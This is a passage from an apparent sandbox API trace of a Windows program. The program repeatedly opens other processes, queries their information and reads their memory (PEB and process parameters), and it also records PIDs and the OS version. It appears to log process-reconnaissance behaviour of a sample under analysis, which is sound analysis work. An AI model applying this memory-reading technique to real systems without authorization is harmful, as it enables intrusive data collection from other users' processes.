bInheritHandle=0, dwProcessId=0x1028) returned 0xa9c [0313.182] GetLastError () returned 0x0 [0313.182] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.182] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x283018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.183] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.183] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.183] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.184] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.184] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.184] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x283020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.184] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.185] malloc (_Size=0x6e) returned 0xea8920 [0313.185] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5722be, lpBuffer=0xea8920, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8920*, lpNumberOfBytesRead=0x0) returned 1 [0313.185] free (_Block=0xea8920) [0313.186] CloseHandle (hObject=0xa9c) returned 1 [0313.186] _ui64tow_s (in: _Value=0x548, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1352") returned 0x0 [0313.186] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1352") returned 4 [0313.187] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.187] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.187] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x548) returned 0xa9c [0313.188] GetLastError () returned 0x0 [0313.188] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.188] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x443018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.188] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.188] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a2610, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.188] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a2258, lpBuffer=0x5ec5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.189] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.189] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.189] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x443020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.189] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.189] malloc (_Size=0x5a) returned 0xeb63f0 [0313.189] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a22aa, lpBuffer=0xeb63f0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0313.190] free (_Block=0xeb63f0) [0313.190] CloseHandle (hObject=0xa9c) returned 1 [0313.191] _ui64tow_s (in: _Value=0xe98, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3736") returned 0x0 [0313.191] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3736") returned 4 [0313.192] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.192] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.193] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe98) returned 0xa9c [0313.193] GetLastError () returned 0x0 [0313.193] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.193] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.193] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.193] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.193] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.194] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.194] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.194] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.194] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.194] malloc (_Size=0x5c) returned 0xeb6310 [0313.194] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22ac, lpBuffer=0xeb6310, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0313.195] free (_Block=0xeb6310) [0313.195] CloseHandle (hObject=0xa9c) returned 1 [0313.195] _ui64tow_s (in: _Value=0xcdc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3292") returned 0x0 [0313.196] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3292") returned 4 [0313.196] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.196] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.197] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcdc) returned 0xa9c [0313.197] GetLastError () returned 0x0 [0313.197] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.197] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x218018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.197] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.197] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.198] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.198] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.198] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.198] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x218020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.198] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x441c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.198] malloc (_Size=0x70) returned 0xea97a0 [0313.199] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4422c0, lpBuffer=0xea97a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea97a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.199] free (_Block=0xea97a0) [0313.199] CloseHandle (hObject=0xa9c) returned 1 [0313.199] _ui64tow_s (in: _Value=0xe04, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3588") returned 0x0 [0313.200] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3588") returned 4 [0313.200] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.200] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.201] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe04) returned 0xa9c [0313.201] GetLastError () returned 0x0 [0313.201] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.201] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.201] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.201] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.202] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.202] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.202] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.202] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.202] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.202] malloc (_Size=0x6a) returned 0xea9320 [0313.202] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ba, lpBuffer=0xea9320, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9320*, lpNumberOfBytesRead=0x0) returned 1 [0313.203] free (_Block=0xea9320) [0313.203] CloseHandle (hObject=0xa9c) returned 1 [0313.203] _ui64tow_s (in: _Value=0x8b4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2228") returned 0x0 [0313.204] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2228") returned 4 [0313.204] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.204] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.205] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b4) returned 0xa9c [0313.205] GetLastError () returned 0x0 [0313.205] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.205] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5db018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.205] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.205] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x272620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.205] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x272258, lpBuffer=0x5ec5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.206] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.206] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.206] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5db020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.206] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x271c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.206] malloc (_Size=0x5e) returned 0xeb65b0 [0313.206] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2722ae, lpBuffer=0xeb65b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0313.207] free (_Block=0xeb65b0) [0313.207] CloseHandle (hObject=0xa9c) returned 1 [0313.207] _ui64tow_s (in: _Value=0xbcc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3020") returned 0x0 [0313.207] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3020") returned 4 [0313.208] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.208] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.208] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbcc) returned 0xa9c [0313.208] GetLastError () returned 0x0 [0313.209] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.209] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x208018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.209] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.209] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.209] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.210] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.210] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.210] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x208020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.210] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.210] malloc (_Size=0x74) returned 0xea9320 [0313.210] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4922c4, lpBuffer=0xea9320, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9320*, lpNumberOfBytesRead=0x0) returned 1 [0313.211] free (_Block=0xea9320) [0313.211] CloseHandle (hObject=0xa9c) returned 1 [0313.211] _ui64tow_s (in: _Value=0x10f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4344") returned 0x0 [0313.212] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4344") returned 4 [0313.212] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.212] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.246] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10f8) returned 0xa9c [0313.246] GetLastError () returned 0x0 [0313.246] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.246] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.246] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.246] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x502650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.246] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x502258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.247] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.247] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.247] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.247] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x501c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.247] malloc (_Size=0x6c) returned 0xea97a0 [0313.247] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5022bc, lpBuffer=0xea97a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea97a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.248] free (_Block=0xea97a0) [0313.248] CloseHandle (hObject=0xa9c) returned 1 [0313.248] _ui64tow_s (in: _Value=0x1100, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4352") returned 0x0 [0313.249] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4352") returned 4 [0313.249] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.249] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.250] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1100) returned 0xa9c [0313.250] GetLastError () returned 0x0 [0313.250] 